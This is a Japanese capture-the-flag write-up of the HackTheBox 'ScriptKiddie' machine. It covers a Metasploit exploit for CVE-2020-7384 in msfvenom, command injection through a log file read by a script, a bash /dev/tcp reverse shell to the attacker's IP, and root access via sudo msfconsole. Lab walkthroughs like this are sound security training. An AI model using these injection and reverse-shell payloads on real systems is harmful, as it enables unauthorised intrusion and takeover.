🔥

HackTheBox ScriptKiddie

2022/10/05に公開

ScriptKiddie

侵入

nmap

ポートスキャン

┌──(kali㉿kali)-[~/Desktop/ScriptKiddie]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.226 -oN nmap.log
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    syn-ack ttl 63 Werkzeug httpd 0.16.1 (Python 3.8.5)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5

22、5000番を発見

web


nmap や payloads などを発見

試しに nmap に自分の IP アドレスを入力すると、実行結果が出力された

payloads も試しに実行してみた。リバースシェルに使える実行ファイルが生成されたことから、msfvenom が使用されているようだ

CVE-2020-7384

先程の、payloads では、venom が使用されているようだ

同じサイト上の searchsploit で検索してみると、興味深い脆弱性を発見
上の脆弱性を Google で調べてみる

このモジュールは、巧妙に細工された APK ファイルを Android ペイロード テンプレートとして使用する際
に、Metasploit フレームワークの msfvenom ペイロード ジェネレーターのコマンド インジェクションの脆弱
性を悪用します。Metasploit Framework <= 6.0.11 および Metasploit Pro <= 4.18.0 に影
響します。

今回のサイトで使用できそう。metasploit が使用できることもわかった

metasploit

サイトを参考に、metasploit を実行していく

msf6 > search venom

Matching Modules
================

   #  Name                                                                    Disclosure Date  Rank       Check  Description
   -  ----                                                                    ---------------  ----       -----  -----------
   0  exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection  2020-10-29       excellent  No     Rapid7 Metasploit Framework msfvenom APK Template Command Injection


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection                                                                                                                

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat

参考記事 -> https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/

msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run

[+] msf.apk stored at /home/kali/.msf4/local/msf.apk

msf.apk というファイルを取得できた

kid としてのシェル

nc

先程取得したファイルを payloads で使用する

kali で待ち受ける

┌──(kali㉿kali)-[~/Desktop/ScriptKiddie]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.226] 57400
whoami
kid

侵入成功

user フラグ

kid@scriptkiddie:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

列挙

pwn

ホームディレクトリをみるとわかるように、kid とは別に、pwn ユーザの存在を確認

kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

ディレクトリを探索すると、scanlosers.sh を発見
中身を詳しくみていく

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

ここでは、hackers ファイルを読み込み、cut で空白ごとに分割
その後、分割した3つ目以降のフィールドを使用し、nmap の実行を行なっている

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

最後に、hackers ファイルの中身を消去している

kid@scriptkiddie:~/logs$ cat hackers

現に、hackers ファイルを確認すると、現状では何も入っていない状態だった

sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &

注目するのは、ここの部分である。これは、セミコロンを使用することで、任意のコマンドを実行できる可能性がある

kid@scriptkiddie:~/logs$ echo "x x x 127.0.0.1; ping -c 1 10.10.14.12 #" > hackers
<x x x 127.0.0.1; ping -c 1 10.10.14.12 #" > hackers

試しに上記のような文字列を hackers ファイルに記述

┌──(kali㉿kali)-[~/Desktop/ScriptKiddie]
└─$ sudo tcpdump -i tun0 icmp 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:26:07.131940 IP 10.10.10.226 > 10.10.14.12: ICMP echo request, id 1, seq 1, length 64
23:26:07.131977 IP 10.10.14.12 > 10.10.10.226: ICMP echo reply, id 1, seq 1, length 64

ping が実行できたことがわかる

pwn としてのシェル

bash

kid@scriptkiddie:~/logs$ echo "x x x 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.12/5555 0>&1' #" > hackers      
< -i >& /dev/tcp/10.10.14.12/5555 0>&1' #" > hackers

bash を実行する文字列を hackers に記述

┌──(kali㉿kali)-[~/Desktop/ScriptKiddie]
└─$ nc -lvnp 5555
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.226] 41328
bash: cannot set terminal process group (869): Inappropriate ioctl for device
bash: no job control in this shell
pwn@scriptkiddie:~$ whoami
pwn

シェルの取得に成功

権限昇格

sudo

pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

msfconsole に NOPASSWD を発見

root としてのシェル

msfconsole

pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole

# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v6.0.9-dev                           ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Open an interactive Ruby terminal with irb

msf6 > /bin/bash
stty: 'standard input': Inappropriate ioctl for device
[*] exec: /bin/bash

whoami
root

権限昇格成功

root フラグ

root@scriptkiddie:~# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

所感

今回のボックスは、CVE に気づくことができず、時間を結構使ってしまった。知識量の少なさを実感した。権限昇格の方法は結構あるらしいので、色々と試してみたい。

Discussion